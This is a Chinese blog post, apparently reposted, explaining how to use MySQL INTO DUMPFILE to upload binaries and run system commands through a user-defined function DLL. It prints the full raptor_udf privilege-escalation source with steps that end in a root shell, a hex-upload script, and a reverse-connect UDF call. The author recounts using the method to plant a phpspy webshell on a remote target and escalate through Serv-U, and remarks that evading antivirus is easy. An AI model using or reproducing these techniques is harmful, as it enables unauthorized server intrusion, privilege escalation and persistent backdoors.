mysql能上传程序吗_利用mysql上传和执行文件
本来一直以为利用mysql就只能导出webshell,但是前一段时间无意中发现了一篇文章《Windows下通过MySQL以SYSTEM身份执行系统命令》,于是再继续搜索了一下相关的文章。
其中上传文件是利用了mysql命令“SELECT * FROM mix INTO DUMPFILE 'c://abc.dll';”(以前导文本我都只是用select * from tablename into outfile 'c://abc.txt'),想不到可以导出二进制文件。
至于执行命令,是利用了mysql的自定义过程来实现的。查了下,一个简单符合mysql的dll是如下格式的:
[code]
/*
* $Id: raptor_udf.c,v 1.1 2004/12/04 14:44:39 raptor Exp $
*
* raptor_udf.c - dynamic library for do_system() MySQL UDF
* Copyright (c) 2004 Marco Ivaldi
*
* This is an helper dynamic library for local privilege escalation through
* MySQL run with root privileges (very bad idea!). Tested on MySQL 4.0.17.
*
* Code ripped from: http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
*
* "MySQL provides a mechanism by which the default set of functions can be
* expanded by means of custom written dynamic libraries containing User
* Defined Functions, or UDFs". -- Hackproofing MySQL
*
* Usage:
* $ id
* uid=500(raptor) gid=500(raptor) groups=500(raptor)
* $ gcc -g -c raptor_udf.c
* $ gcc -g -shared -W1,-soname,raptor_udf.so -o raptor_udf.so raptor_udf.o -lc
* $ mysql -u root -p
* Enter password:
* [...]
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/home/raptor/raptor_udf.so'));
* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf.so';
* mysql> create function do_system returns integer soname 'raptor_udf.so';
* mysql> select * from mysql.func;
* +-----------+-----+---------------+----------+
* | name | ret | dl | type |
* +-----------+-----+---------------+----------+
* | do_system | 2 | raptor_udf.so | function |
* +-----------+-----+---------------+----------+
* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
* mysql> /! sh
* sh-2.05b$ cat /tmp/out
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* [...]
*/
#include
#include
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args {
unsigned int arg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
char *maybe_null; // 1 for maybe_null args
} UDF_ARGS;
typedef struct st_udf_init {
char maybe_null; // 1 if func can return NULL
unsigned int decimals; // for real functions
unsigned long max_length; // for string functions
char *ptr; // free ptr for func data
char const_item; // 0 if result is constant
} UDF_INIT;
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if (args->arg_count != 1)
return(0);
system(args->args[0]);
return(0);
}
[/code]
呵呵,好简单,(在VC下编译,好像是cl /LD abc.c,对VC我不熟悉,没办法)
不过,按照网上说法,是要转到mysql表中创建二进制表格和导出才可以成功,在test下可能不成功。
但是我几次导出都不成功,甚至是把二进制文件导出来都会有错,(其中部分会出乱码)。
因为我一开始时犯了点错误,我用mysql客户端,进入mysql命令提示行下后,粘贴dll文件,但是总是会粘贴不了那么,所以导致文件不齐全。这个问题困扰了我好长时间,因为在即使修改windows的console窗口的缓冲区大小也是不行,后来甚至想到使用fterm通过linux下的mysql客户端进行,结果也是失败。最终才发现自己是多么的愚笨,其实mysql是有导入mysql命令的功能的,也就是可以使用mysql -u root -h hostname -p < script.txt,把这些代码导入去的,也就不存在代码过长无法粘贴的问题。第二个遇到的问题,是即使导入的数据正确,但导出的二进制数据的最前端会无故多出半个字节(8Bit)的0,也就是假如是使用
第三个问题:我在本地测试,把下回来的mix.dll放在mysql可以访问的目录下,然后"create function myconnect returns integer soname 'c://mix.dll';,结果返回说no paths allow for the share libraly,(大意如此,具体字符忘记了),上网一查,结果又找到另一个具说的漏洞,说是mysql中在载入自定义函数dll时,会检查是否存在“/”,如果存在则不让加载,漏洞的表述意思是可以往mysql.func中直接插入自定义函数的路径和函数名,然后强迫mysql重启,重启后的mysql将不会检查mysql.func中的路径,只可惜我在本地测试还是没有成功。重启后再使用自定义函数,还是提示函数没有定义,可能是我使用的mysql版本已经没有这个漏洞了,不过,反正我在本地测试自定义函数的提权是失败了。不过,总算还好,使用导出二进制代码的方法可以在远程得到一个phpspy的webshell。
归纳上传办法如下:(虽然我直接导出不有错误)
一、新建文件script.txt,内容如下
use mysql;
DROP TABLE IF EXISTS mix;
create table mix(data LONGBLOB);
set @a= //这里先空开,等下粘贴内容过来
INSERT into mix values (CONVERT(@a,CHAR));
SELECT * FROM mix INTO DUMPFILE '远方主机目录和文件名,注意用/转义路径;
drop table mix;
二、 使用winhex打开要上传的文件,然后copy all -> hex value,粘贴到刚才那个set @a=后面,这样就变成了定义一个变量@a,值就是那个文件的值了。
三、在myql客户端执行 mysql -u root -h 远程主机 -p
一、先用上面的办法导出一个mix.dll(mix.dll自己找)
二、CREATE FUNCTION Mixconnect RETURNS STRING SONAME 'C://Mix.dll';/*注意修改文件地址
select Mixconnect('127.0.0.1','886');/*注意修改反连回来的IP地址和端口号
ps:本来上传webshell是不需要用到这么麻烦的,但是刚好测试的目标主机web user没有什么权限,上传文件等代码都不成功,虽然导出了一句话木马,但是居然不能执行,它原本的php上传文件功能也不行(估计是主机的权限发生了变化后管理员没有设置好,导致上传到临时目录后没有权限把文件写回web目录。直接导其它一点稍微大点的木马时,似乎是一碰到中文或单引号或"/"之类的转义符就会出错,导致导出的木马不能被执行。 好不容易导出一个servU的本地提权php文件,似乎可以执行,但是最终没有效果。(后来估计可能还是哪里导出时被改变了)。最终只好用这个方法来导phpspy2006了--(呵呵,正好前段时间发觉asp和php木马免杀其实是件非常容易的事),导出webshell后,发现web目录下web user是没有写权限,不过servU提权却非常顺利的成功了。终于搞掂,学到了点关于mysql入侵的知识。不过始终想不能当初导出的<?php system($cmd); ?>这样的代码为什么只能dir c:,一到dir c:/inetpub之类的都不行,但实际上是有权限读取的。
mysql能上传程序吗_利用mysql上传和执行文件相关推荐
- mysql 中英按字母排序_利用MySQL数据库来处理中英文取首字母排序
很久都没有写博客了, 但是也积攒了了很多的问题, 下次找个时间一起整理一下, 然后记录下来, 以备不时之需. 我们的联系人列表经常会有按照首字母排序的需求. 这个很方便, 很清晰, 如果不说性能如何 ...
- Mysql能删了重装吗_【MySQL】干净删除MySQL,无报错重装
今天想重装下MySQL数据库,本来以为挺简单的一个事情,一不小心被卡住了,记录下,以后重装搞不好就用上了 要重装MySQL,嗯首先要有个MySQL安装包. 接着做以下几个事情就好了 1. 关闭MySQ ...
- 设有n 个程序{1,2,…, n }要存放在长度为L的磁带上。程序i存放在磁带上的长度是Li, 1<= i<= n。这n 个程序的读取概率分别是p1,p2,...,pn,且pi+p2+...+pn =
设有n 个程序{1,2,-, n }要存放在长度为L的磁带上.程序i存放在磁带上的长度是Li, 1<= i<= n.这n 个程序的读取概率分别是p1,p2,-,pn,且pi+p2+-+pn ...
- java 转换上传文档_自己编写JAVA环境下的文件上传组件 (转)
客户端上传后,端的数据流头尾部格式如下,这里上传了一个文档 我们看看数据流的头部: -----------------------------7d22f821706e0Content-Disposit ...
- mysql小王 保密_利用mysql的注射点得到更多mysql的信息
当注射mysql库的输入点的时候,我们可以通过version()/user()/database()/password()等内置函数来得到mysql的相关信息,其实我们在注射的时候可以利用mysql内 ...
- 利用mysql数据库中_利用mysql和mysqli取得mysql的所有数据库和库中的所有表
功能:利用mysql和mysqli两种连接数据库的方法,取得Mysql服务器上的所有数据库和库中的所有表. 环境:自己用分开安装apache mysql php搭建的环境 操作系统是:windows ...
- mysql触发器生成流水_利用mysql触发器生成流水号
http://blog.csdn.net/bluestream/article/details/5755176 利用mysql触发器可以生成如日期(20100721)+编号(0001)的流水号,编号每 ...
- mysql到mysqli转变表_利用mysql和mysqli取得mysql的所有数据库和库中的所有表
/*** mysqli op mysql demo*//***公用函数*//***功能:列出一个数据库的所有表*@param$dbname*@param$con*/functionlist_tabl ...
- mysql insert 错误码_利用 MySQL 自身错误诊断区域-爱可生
原标题:利用 MySQL 自身错误诊断区域-爱可生 背景 本篇文章来源于今天客户问的一个问题. 问题大概意思是:我正在从 Oracle 迁移到 MySQL,数据已经转换为单纯的 INSERT 语句.由 ...
- centos mysql 5.2.3 编译安装_在CentOS上编译安装MySQL 5.7.13步骤详解
MySQL 5.7主要特性 更好的性能 对于多核CPU.固态硬盘.锁有着更好的优化,每秒100W QPS已不再是MySQL的追求,下个版本能否上200W QPS才是用户更关心的. 更好的InnoDB存 ...
最新文章
- 写了 5 年 Java,这些坑还是没躲过……
- sqlserver 批量插入数据(此方式同样适用mysql)
- 【新鲜出炉】25套的精美 Web 应用程序图标素材
- php中隐藏网址,是否隐藏前台网址中的index.php文件名 解决方法
- 聊天机器人有了长期记忆,遇到不懂的还能上网搜索,网友:像极了不懂装懂时偷偷百度的我...
- Python脚本图解
- 机器人网首页应用实例工业自动化 EtherCAT 技术在库卡机器人控制系统上的应用
- STM32CAN外设使用
- 剑指 Offer II 117. 相似的字符串
- IPTV视频码流分析
- 【转载】]基于RedHatEnterpriseLinux V7(RHEL7)下SPEC CPU 2006环境搭建以及测试流程 介绍、安装准备、安装、config文件以及运行脚本介绍...
- C# richTextBox滚动到最后一行 显示最后一行 自动跳转最后一行
- 威纶触摸屏数值元件格式设置_在威纶触摸屏当中,数值输入元件那里的设备类型的字母都表示什么意思啊...
- 3DMAX解决Vray渲染材质溢色问题的三种方法
- 生产仓储条码外贸管理解决方案
- linpack环境搭建:Openmpi+Openblas+HPL安装教程
- 研究生科研素养提升的测试题
- NOC2021年测试卷3
- 如何写linux软件专利,Linux之父:软件专利和方法专利都挺扯淡
- 和平精英服务器维护到几点,和平精英停服到几点钟?4月4日停服时间公告[多图]...